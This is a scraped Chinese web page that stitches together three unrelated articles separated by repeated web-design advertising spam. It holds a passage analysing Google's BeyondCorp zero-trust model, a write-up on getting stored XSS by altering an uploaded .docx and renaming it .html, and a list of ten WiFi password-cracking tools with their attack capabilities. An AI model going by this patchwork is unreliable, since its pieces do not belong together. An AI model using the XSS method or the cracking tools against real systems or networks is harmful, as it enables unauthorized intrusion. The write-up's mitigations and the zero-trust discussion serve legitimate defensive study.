  收集用戶、設備、應用和服務器數據和行為信息,形成日誌數據庫進行機器學習分析,達到異常識別的目的,比如從異常位置訪問資源,則立即觸發強認證。

  整個方案有幾個好處:

  一是重新定義了身份,以前都是根據角色進行的,而零信任模型則更加動態,用時間、屬性、狀態的組合來實時評估。

  二是集中控制,所有的流量都通過中央網關來處理認證和授權,這種網關可以攔截所有到資源之間的通信。但中央網關不是只有一個,而是分佈式的,只是邏輯上的集中。BeyondCorp就在每個受保護的資源之前放了一個反向代理服務。

  三是主動防範,能夠檢查日誌做審計是一回事,能夠實時攔截主動防範則是另一回事了。

  Google的方法很好,值得借鑒,但不一定要完全照搬。每個企業有自己的實際情況,要是上來就干,可能會導致更多的問題。根據Google的幾篇論文,我試着分析一下實現路徑做參考。

  二、信息收集

  整個項目上,第一步要實現的就是數據的收集,收集數據的作用是掌握全局,包括賬號和應用的流向關係、網絡架構、應用協議等。在這個過程中也能清理掉很多沒用的系統和賬號。而數據的收集分為幾種:

  1、設備信息

  因為設備驗證屬於一個重要環節,因此要對設備進行清點。Google要求所有設備都有IT管理,並且保存一個資產庫,但這在國內企業中並不現實,例如有的員工自帶電腦,自帶手機。所以實際上需要在Google的思路上有所拓展,雖然我不知道,但我可以通過設備指紋來建立一個資產庫。每個設備都有的獨一無二的標識,通過標識,把員工常用設備作為可信設備,從而建立自己的資產庫。

  2、梳理訪問記錄

  零信任的目標是完全消除靜態密碼的使用,轉為更加動態的驗證,可以對每個單獨的訪問發布範圍、時間的證書。這是這個架構的好處,也是防範內部風險的最佳答案。所以需要掌握公司內部的訪問記錄,常見是通過SSO訪問日誌來進行。而且定期review內網訪問日誌,也應該是一個常態化工作。梳理這個的目的,是了解賬戶和應用之間的關係。

  3、系統架構圖

  零信任的目標是拋棄掉網絡層的訪問控制,但現實是需要在整個過程中逐步改造,因此需要掌握網絡拓撲,掌握各訪問控制的位置,掌握資源位置。最後才能達到把訪問控制放到應用側來實現。所以這裏的着眼思考點是,如果我把這個資源放到互聯網上,需要怎麼控制。

  4、流量日誌

  流量是基於網絡拓撲來的,在應用日誌完備的情況下,甚至可以不需要做流量日誌。不過考慮到大家的實際情況,還是加上比較好。另外網絡內跑的協議也很重要,Google在計劃階段發現網內使用了各種協議,因此在新系統中作了嚴格的規定,以HTTPS和SSH為主要協議。

  二、訪問策略

  在Google的論文中,多次提到了他們在形成這個框架時面臨的挑戰,為了有效推進,這個安全措施必須在全公司強制執行,覆蓋廣泛且易於管理。這其實在很多公司是個不容易的事情。而且Google也提到,安全架構不應該影響生產力,在國內就是就是安全不應影響業務。因此把敏感應用放到公網上,需要小心謹慎。零信任要求每個請求都完整驗證身份,授權和加密,這個信任是基於動態用戶和設備決定的,而不再基於網絡單一維度進行判斷。

  數據收集以後,接下來要做的事情就是訪問策略框架了。Google整個項目周期是7年(淚奔,7年後我還在不在現在的公司都不好說),提到的建議是情景決策,換成中國話的意思就是業務場景。例如我是一個運營,要去訪問運營報表系統,那麼我用公司給我的筆記本電腦登錄報表系統,然後通過跳板機登陸到Hadoop上去調整源數據。這些業務場景會告訴你一些信息,運營應該授予報表系統、Hadoop權限,而在這裏的授權元素包括,設備、角色、被訪問資源、時間等。

  1、數據字段

  聽上去比較彆扭,換成中國話的意思,要收集那些數據維度,以用做訪問控制要素。常見的比如組織架構、角色。新增的設備與用戶配對關係,也包括比如操作系統是否更新,殺毒軟件是否安裝這些設備狀態。同時也可以包括更多的要素:時間、位置、多因素等。這些條件組成了驗證規則,但這太容易被猜測出來了,所以在這個基礎上,還可以增加一些新的判斷字段,比如wifi的mac等信息。

  2、規則

  接下來制定規則,規則中除了包括上面所說的字段,還應包括行為信息。例如有一個提出離職的員工,進入文檔系統大量下載文檔,這就是一個風險。可能需要的規則是,打通PS系統掌握誰提出了離職,然後限制該員工對文檔系統的大量下載行為。再細分一點規則,主動離職和被動離職對系統的風險是不同的,下載和查看文檔也是不同的。

  規則中一個常見錯誤是設置了太多細緻的規則,Google在實踐中遇到了這個問題,最終他們在代理服務的粗粒度,和後端資源的細粒度之間找到了平衡點。在論文中他們提到了兩個例子:

  全局規則:粗粒度,影響所有服務和資源。比如“底層設備不允許提交代碼”。特定服務規則:比如G組中的供應商允許訪問web應用A。

  如果規則太複雜,或者對資源規定太過具體,那對規則的語言是很有挑戰性的,所以應該用一套任何人都可以理解的策略規則。Google的做法是從粗規則開始,然後再將RBAC和ABAC引入。

  3、權限

  零信任是把信任從外圍改變到端點,目標是在不斷變化的環境中基於動態用戶和設備,做出智能的選擇。BeyondCorp是最小權限原則,通過不斷地處理用戶、設備、行為數據,為這些數據建立信任值,每個資源都有一個信任層,必須滿足才能訪問。比如你的手機版本過低,系統會給你一個低信任評分。當你訪問工資數據的時候,需要你有更高的信任等級。你必須把手機版本升級,否則不能訪問資源。這其實和金融里的信用分一個意思,這些元素的組合形成了分數。

  但有一點,就是要明確的告訴用戶,基於什麼原因,你的分數過低,要把補救方法明確的提示出來,不然用戶就陷入了迷思,然後會幹出一些亂七八糟的事情出來。換句話說,可以把規則形成問題,你的補丁打了嗎?殺毒軟件更新了嗎?然後通過驗證這些問題,賦予權限。

  三、訪問控制

  策略訂好了以後就是控制措施,這裏也是國內大多數公司和Google做法有分叉的地方,Google當然有能力自己造所有輪子,操作系統都能自己寫,但國內公司很少會這麼干,同時在內部這些應用里,或多或少都會有外購的應用系統。

  1、微服務

  傳統系統已經做了很多訪問控制手段,有的可能就是一個SSO賬號,這種方式是角色、權限是在後面邏輯上處理的,也就是說,你先進入內網門戶,然後通過門戶進入各個子系統。在進入門戶這個環節並不做後面的資源的驗證,把驗證放在了後端應用上處理。這也就是之前烏雲還在的時候,我們看到一旦拿到一個員工賬號,就可以在內部各種橫向漂移。

  而在Google,則使用了微服務,把驗證邏輯和資源系統隔離,以實現靈活的驗證。加入你們採購了外部的一個財務系統,那麼財務系統在這裏只看作是一個原始數據的記錄系統。通過微服務方式的解耦,服務之間不再需要關心對方的模型,僅通過事先約定好的接口來進行數據流轉即可。因此策略層改變起來也很容易,這是其中一個關鍵。

  2、集中處理

  零信任中有一個處理所有流量的ACCESS GATEWAY,這是個反向代理服務,集中了身份驗證和授權過程,統一進行處理,也是理想的日誌監控點。代理服務支持PKI證書,所有請求都通過HTTPS提供給網關,用戶和設備的數據在這時候被提取出來進行驗證授權。再接下來則是SSH,RDP或TLS連接,與資源進行安全會話,這就大大限制了攻擊面。

  在某個時間點,根據動態數據來配置身份驗證,而不是單純的依靠網絡。這就是零信任系統的能力。但在初期的時候,這個動態,是需要經過磨合的。最簡單的例子是根據大多數人的共同的行為來調整策略,這裏就需要機器學習來輔助,讓機器來了解共同行為是什麼意思。

  四、資源遷移

  最後一步則是資源的遷移。資源遷移有個灰度過程,關鍵系統往後放,先從簡單應用開始,這個應用應該適合粗粒度規則,且數據敏感度比較低,比如內部的wiki這種。為了防止在這個過程中的數據泄漏,Google初期是並聯傳統系統的,然後逐漸割接。Google非常強調他們把所有資源都放到公網上,消滅了網絡分區需求。但實際上,我們大可不必這麼冒險,傳統基於網絡層的控制方法仍然可以使用。

  通過這個邏輯,只需要把流量指向訪問結構,就可以保護資源。在所有流量都經過網關的情況下,需要確保和應用的連接是安全的,每個請求必須端到端加密。但只有這麼個安全隧道是不夠的,還需要確保每個請求都被完全驗證授權,方法上可以是對請求證書和關聯數據進行簽名,再配置應用驗證,也可以是對特定IP列入白名單。

  五、總結

  Google在基礎架構安全上付出了巨大的努力。我在看這些paper的時候就在想,為什麼Google公開宣傳內部的安全實踐呢,我以小人之心揣測,可能與Google雲相關,從Google一系列的博客來看,信息保護一直都是重點範圍。但對於我們這些安全從業者來說,這5個paper提供了很多安全的先進點,讓我們一探頂尖互聯網企業的基礎安全架構。整個閱讀理解過程中,有幾句話我覺得是特別值得總結的:

  1、“我們不依賴於內部網絡分隔或防火牆作為我們的主要安全機制”

  我曾在阿里工作過幾年,早在14年阿里安全就提出“去防火牆”。但當時的“去防火牆”思想,更多的是擺脫傳統盒子硬件防火牆層次,和Google還不一樣。零信任的核心主題是,它是一個無周邊架構,這和Google的員工分佈在全球各地辦公有關係。這並不是說防火牆完蛋了,而是說不作為“主要”安全機制。但是在借鑒過程上,去防火牆不是第一步,而應在各種認證、授權等機制建立后的最後一步。

  2、“最終用戶登陸由中央服務器驗證,然後中央服務器向用戶端設備發送憑證,例如cookie或OAuh令牌,從客戶端設備到Google的每個後續請求都需要該憑據”。

  零信任基於用戶和設備的狀態做出智能決策,憑證是動態的,也就是可撤銷、可審計、有較短時間期限。這其中說,每個後續都需要該憑據,這就是零信任的精髓了。

  3、“實際上,任何發布的服務都使用GFE作為智能反向代理前端,這個代理提供了DNS,拒絕服務保護,TLS終止和公共IP託管”

  把內部應用放到公網,可以實現端到端的前向加密,但卻讓系統面臨攻擊,通過反向代理來管理這些流量。現實而言,我們並不需要這麼激進,抗ddos保護對於中小企業來說,還是應該依靠外部力量。

  4、“在企業局域網上不是我們授予訪問權限的主要機制。相反,我們使用應用程序級的訪問管理控制,允許我們只在特定用戶來自正確管理的設備以及期望的網絡和地理位置時才將內部應用程序公開。

  身份認證是整個流程中的重要部分,但零信任獨特在於:用戶、設備組成一個可以實時進行信任決策的配置文件。舉例來說,我在北京從我的手機上登陸crm應用,那肯定不會在同一時間允許我在上海的pc上登陸。訪問策略上要麼允許,要麼提示你另一個認證因素。

  安全性和可用性一直存在互相矛盾,安全部門要在這裏尋找平衡。每個公司也都有自己的風險容忍度,有的公司因為月餅開除員工,有的公司因為雲盤上傳開除員工。每一個處罰,都會引起內部很多爭論,對於零信任來說,決策是動態的,允許更多的自適應,其中機器學習是這裏的重要工具。

  5、“我們積極地限制和監督已經被授予基礎設施管理權限的員工的活動,提供能安全和可控的方式完成相同任務的自動化,不斷努力消除特定任務的特權訪問需求。

  零信任目的在減少內部威脅,整個架構中學習和適應是重要環節。同時也對自動化很敏感,在這麼大一個全球企業中,人工是不現實的。另外,整個項目對特權的檢查,會比對普通權限的檢查要仔細的多。

網站內容來源http://safe.it168.com/

【精選推薦文章】

智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

帶您來看台北網站建置套版網頁設計台北網站改版設計台北RWD響應式網頁設計,各種案例分享

廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

新手上路 | 上傳Word文件形成存儲型XSS路徑

網站內容來源http://server.it168.com/

新手上路 | 上傳Word文件形成存儲型XSS路徑

2018-05-31 13:25    來源:FreeBuf.COM  作者: clouds 編譯 編輯:
0購買

  在滲透測試過程中,每當看到目標測試網站存在上傳功能時,總會激起我的好奇心。如果能夠走運的話,若目標網站服務器是PHP或ASP架構,而且上傳功能沒作後綴過濾,這樣就能導致可以直接上傳反彈腳本形成控制。如果這招行不通,我會嘗試上傳一個HTML頁面去觸發我自己設置的客戶端javascript腳本形成XSS攻擊。本文我就分享一個上傳docx文件形成存儲型XSS漏洞的實例。

  測試上傳功能

  剛好在某次Web測試工作中,我發現目標網站上傳功能中,用一個未授權用戶即可上傳自己的文件,該上傳功能中允許用戶上傳.docx文件:

  當把這種.docx文件上傳之後,它還能被下載。通過比較發現,上傳成功的文件uploaded.docx和服務器上其對應的可下載文件downloaded.docx之間存在着一些不同,也就是說,文件上傳成功之後,在提供下載之前,服務器會對這個上傳文件進行一些處理操作,之後,再提供下載。

  

  用來上傳的文件必須是一個有效的.docx文件,那基於瀏覽器的解析显示來說,它可能會把它轉換為html格式來显示,那我能不能把它後綴作個更改呢?所以我先來試試在POST請求中把.docx後綴更改為.html看看:

  當這個.html文件上傳之後,向服務器請求這個文件后,服務器會把其Content-Type頭默認為text/html,這樣的話,瀏覽器會把這個文件解析為HTML執行:

  插入XSS Payload

  這樣,我就想到了把XSS Payload捆綁到一個像下圖這樣的.docx壓縮文件中去。由於這是.docx經直接把後綴更改為.zip的壓縮格式文件包樣例,我需要確定在上傳或Web解析過程中某些不會被轉儲更改的區域,最後,我發現了這種docx變zip壓縮格式包中的某些文件路徑會保持原樣,像下圖這樣,我把其中的Settings.xml文件名加上了一長串字母好待區分。

  之後,再把這個zip格式後綴還原為docx格式,用UItraEdit查看hex代碼,再在保持原樣的區域中覆蓋掉一些字節,插入我自己設置的JavaScript XSS代碼:

  上傳時,服務器能正常接收這個經過構造的.docx文件,在HTTP POST過程中,我把它的後綴更改為.html後綴進行了最終上傳:

  向服務器請求這個文件時,它能被服務器解析為HTML文件,其中包含了完整的之前插入的XSS Payload代碼:

  當然瀏覽器解析之後,也能成功執行其中插入的XSS Payload:

  為了對這種XSS攻擊進行混淆隱蔽,攻擊者可以在其中加入一個包含URI統一資源標識符的隱藏iframe框架,能對受害者產生迷惑效果,像下圖這樣:

  防護措施

  這樣的效果對於開發者來說應該採取以下手段來進行限制。

  文件上傳之前,在服務器端驗證上傳文件格式是否為.doc或.docx有效格式;

  嚴格限制Content-Type頭,對Content-Type頭或特定後綴格式更改過的上傳文件須保持與上傳文件相同的Content-Type頭信息;

  控制文件下載時的其它操作情況,添加響應標頭:“Content-Disposition: attachment”,以防止在瀏覽器中內嵌显示文件;

  過濾掉所有包含HTML標籤的上傳,因為docx可經壓縮篡改其中包含的HTML文件。

網站內容來源http://safe.it168.com/

【精選推薦文章】

如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

想要讓你的商品在網路上成為最夯、最多人討論的話題?

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

想知道最厲害的台北網頁設計公司推薦台中網頁設計公司推薦專業設計師"嚨底家"!!

10款最佳免費WiFi黑客工具(附傳送門)

網站內容來源http://server.it168.com/

10款最佳免費WiFi黑客工具(附傳送門)

2018-05-31 14:59    來源:安全牛  作者: Jasmine 編輯:
0購買

  如今,隨着用戶友好型黑客工具的不斷湧現,黑客攻擊已經不再僅是網絡專家或專業人士所獨具的特殊技能,這種黑客藝術也可以輕鬆地為普通用戶所用。大多數人都想要了解最好的免費WiFi黑客工具,以學習在智能手機和台式機上進行黑客攻擊。

  

  儘管網絡上有許許多多黑客攻擊教程,但黑客攻擊並不是那麼容易學的。它不是一蹴而就的事情,需要深入的研究和奉獻精神才能夠成為專家。

  但是,通過一些免費可用的黑客工具來學習如何在Android和桌面上進行攻擊,您可以很好地掌握黑客攻擊基礎知識。以下是適用於Android和桌面的10款WiFi黑客工具,它將幫助您了解一些黑客入侵的基本知識。

  使用WiFi黑客應用程序前的準備:

  在開始使用這些應用程序之前,了解一些可以在Android設備上完成的基本設置非常重要。因為有了這些技巧,你可以將你的android系統轉化為一個成熟的Linux操作系統:

  Root您的android設備;

  檢查設備是否運行Android 4.0或更高版本;

  設備的WiFi網絡显示WPS可用(說明無線設備支持WPS加密連接)是非常重要的;

  目標WiFi網絡的信號強度足夠好。

  通過此清單,你將能夠在任何WiFi網絡上破解各種WPS PIN碼。

  1. WPA WPS Tester

  WPA/WPS測試儀是安卓系統上最受歡迎的Wi-Fi黑客工具之一,它是為了掃描Wi-Fi網絡的漏洞而開發的,這個黑客應用程序以其打破安全性的能力而聞名。

  該應用程序使用WPS PIN連接的接入點進行測試,使用各種不同的算法(如Blink、Asus、Zhao以及Arris等)執行計算。該應用需要Android 4.0及以上版本才能運行。這不是一個跨平台的應用程序,只能在Android設備上使用。

  該應用程序在Google Play商店中可用,它可以幫助您破解任何显示WPA/ WPS可用的WiFi網絡。一旦識別出網絡密鑰,該應用程序就會將其显示在屏幕上,這表明它可以輕鬆地幫助您執行黑客操作。

  傳送門:

  

  2. aircrack-ng

  說到最常用且最著名的WiFi黑客工具,可能就要數Aircrack了。這款使用C語言編寫的WiFi黑客軟件是大量工具的組合,可用於監控、攻擊、滲透測試和破解等任務,使用aircrack-ng

  軟件,你可以在捕獲足夠的數據包之後,破解802.11 WEP和WPA-PSK密鑰。

  Aircrack首先會捕獲網絡數據包,然後分析數據包以恢復網絡密碼。在執行優化(包括KoreK攻擊和PTW攻擊)以恢復或破解密碼后,該應用程序還可以執行標準的FMS攻擊。

  優化攻擊的使用,使整個破解過程比其他WEP密碼黑客工具快得多。不過,您可能會發現,這個控制台界面兼容的工具在開始使用時會略顯複雜,對此,我們建議您在使用之前查看該應用程序的在線教程。

  Github入口:

  

  XDA-developers入口:

  

  3. Kali Linux Nethunter

  缺少Kali Linux Nethunter的推薦列表算不上是完整的列表。有誰不知道Kali Linux Nethunter,因為它是最好的WiFi黑客應用程序之一。該工具是Offensive Security第一款開源的android滲透測試平台,使用這個黑客應用程序,您需要啟動Kali的Wifite工具來執行此過程。

  Nethunter的用戶友好型配置界面,可以讓您毫不費力地處理複雜的配置文件,它的定製內核支持所有802.11無線協議。對於Android系統來說,它確實也是一個必備的WiFi黑客工具。

  您可以使用Kali Linux執行各種不同的活動,例如網絡映射、網絡控制以及無線注入等,同時它也可用於執行USB HID鍵盤攻擊。

  傳送門:

 

  4. Zanti

  Zanti是由Zimperium發布的比較受歡迎的一款黑客應用程序,它允許安全管理員分析網絡中的風險級別。這種易於使用的移動滲透工具包可用於Wi-Fi網絡的評估和滲透。

  該應用程序的Wi-Fi掃描器显示已知的默認密鑰配置為綠色的接入點。您也可以使用該應用程序來殺死連接,以防止目標訪問任何網站或服務器。此外,使用Zanti工具,您也可以了解網絡攻擊者所使用的鏡像方法,從而識別網絡中的漏洞並據此實施必要的安全措施。

  大家可以將zANTI視為一款能夠將Backtrack強大力量引入自己Android設備的應用。只要登錄至zANTI,它就會映射整套網絡並嗅探其中的cookie以掌握此前曾經訪問過的各個網站——這要歸功於設備當中的ARP緩存。應用當中的多種模塊包括網絡映射、端口發現、嗅探、數據包篡改、DoS以及MITM等等。

  傳送門:

  

  5. Nmap

  適用於安卓系統的Nmap是一個非常有用的應用程序,它可用於竊取Wi-Fi並查看可用的主機、服務、數據包和防火牆等。此外,Nmap對於包含root和不含root的安卓設備都很有用。但是,要記住,無root的用戶無法使用SYN掃描和操作系統指紋等高級功能。這個Wi-Fi黑客應用程序的開發人員已經共享了編譯好的Nmap二進製版本,並支持OpenSSL。 Nmap也可以在Windows,Linux等其他平台上使用。

  傳送門:

  

  6. Kismet(2018年最好的桌面WiFi 黑客應用程序)

  Kismet是一款優秀的開源WiFi 802.11 a/b/g/n第2層WiFi嗅探器應用程序,該工具可以用於入侵檢測,同時也非常適用於無線網絡故障排除,並與任何支持rfmon模式的WiFi卡兼容。您也可以在多種桌面平台上使用它,包括windows、BSD、Mac OSX以及Linux等。

  Kismet能显示AP詳細信息,包括隱藏的SSID,還能捕獲原始無線數據包,還可以將數據導入 Wireshark、TCPdump等工具進行分析。該應用程序專為客戶端-服務器模塊化結構設計,因此可以輕鬆檢測802.11b, 802.11a, 802.11g, and 802.11n流量。

  傳送門:

  

  7. Cain & Abel

  為了破解台式機上的無線網絡密碼,Cain & Abel是一款為攔截網絡流量而開發的可靠工具。一旦攔截了流量,它就會使用暴力強制攻擊方法來識別密碼。此外,Cain&Abel還可以通過掃描路由協議來識別無線網絡,因此它可以用來破解不同類型的密碼。

  當然,它不僅是一款流行的WEP破解工具,而且非常適用於Windows密碼破解。事實上,如果你正在尋找一個專門用於微軟Windows操作系統的密碼破解工具,Cain & Abel可能是最好的選擇。這款以亞當和夏娃的兒子命名的工具,可以使用不同的方法來識別密碼,例如網絡包嗅探,也可以執行暴力算法、字典攻擊以及密碼分析等。

  這還不是全部,使用該Windows wifi黑客軟件,你可以記錄VoIP對話,解碼混亂的密碼,獲取緩存數據,並獲得路由協議。這個強大工具的最新功能是ARP支持嗅探交換局域網和中間人(MitM)攻擊。

  傳送門:

  

  8. Wireshark

  Wireshark無疑是最著名的網絡協議分析器,您可以利用該工具來檢查家庭或辦公網絡等不同方面的無線連接。例如,您可以通過檢查微觀層面的數據來捕獲和分析數據包,以識別與Wi-Fi網絡相關的某些事情。

  Wireshark工具適用於所有主流平台,包括Windows、Linux、OS X、BSD等,雖然它不會直接幫助您恢復明文密碼,但它可以幫助您以最佳方式嗅探數據包。這款軟件能夠幫您檢查數百個協議,並通過實時捕獲和離線分析獲得最佳結果。

  Wireshark不僅可以捕獲無線數據,還可以捕獲藍牙、以太網、USB、令牌環(Token Ring)、FDDI等實時數據。但是,我們建議您在使用Wireshark工具之前,先了解一些有關網絡和協議的基礎知識,不然的話,你可能會發現該工具用起來存在一定困難。

  傳送門:

  

  9. Fern WiFi Wireless Cracker

  Fern WiFi Wireless Cracker工具可以用來實時分析您的網絡主機和流量,以確保最大的安全性。同時,該應用程序還可以用於識別和修復計算機網絡中的漏洞,它同樣適用於所有主流桌面操作系統平台,包括MS Windows,OS X和Linux等。

  這個用Python語言編寫的黑客程序,可以在以太網和無線網上運行多種網絡攻擊。它的主要亮點是WEP/WPA/WPA2/WPS破解、會話劫持、中間人攻擊、暴力破解等。為了破解WPA/WPA2,該工具會利用基於WPS的字典攻擊;而對於WEP破解,該工具會利用Hirte、ARP請求重放、Fragmentation、Chop-Chop、Caffe-Latte或WPS攻擊等方式。

  該工具目前正在進一步開發中,並且正在進行更新升級,Fern的專業版(Pro)可用,但是功能並沒有該版本高級。

  傳送門:

  

  10. CoWPAtty

  CoWPAtty是一款自動化的字典攻擊工具,用於破解基於WPA-PSK網絡的密碼。它兼容Linux操作系統,新版預置了包含上千個流行SSID的17萬個字典文件,大大提高了破解速度,但是CoWPAtty的命令行界面很平庸。如果在單詞列表中識別了密碼,那麼該工具就可以成功破解它。

  其突出缺點就是運行速度太慢,因為它必須掃描成千上萬的密碼,並且還因為它的散列使用帶有SSID seed的SHA q,這就意味着,相同的密碼將具有不同的SSIM。該WiFi黑客工具使用密碼字典和SSID,為字典中的每個單詞生成了一個散列。

  目前,運行速度問題已在最新版本的CoWPAtty中得到了解決,因為它使用pre-computer散列文件來防止破解過程中的計算。目前,已經有約17000個字典文件,用於1000個流行的SSID,但是攻擊要成功,你的SSID必須要在列表之中。

  傳送門:

  

  結束語

  上述適用於台式機和Android設備的最佳WiFi黑客應用程序列表,提供了可以免費下載或具有開源許可證的工具。這些工具均能夠破解Wi-Fi網絡密碼,但是具體破解時間可能會因密碼的複雜性和長度而有所差異。

  我們建議大家,僅將這些工具用於教育和學習目的。對於道德黑客行為而言,這些都是完美的應用程序,但是萬不可利用這些工具實施非法黑客活動。請謹記,任何未經授權的無線網絡訪問行為都屬於網絡犯罪的範疇。沉迷於此類非法活動只會害人害己,因此,建議您做出明智而安全地選擇。

,
網站內容來源http://safe.it168.com/

【精選推薦文章】

自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"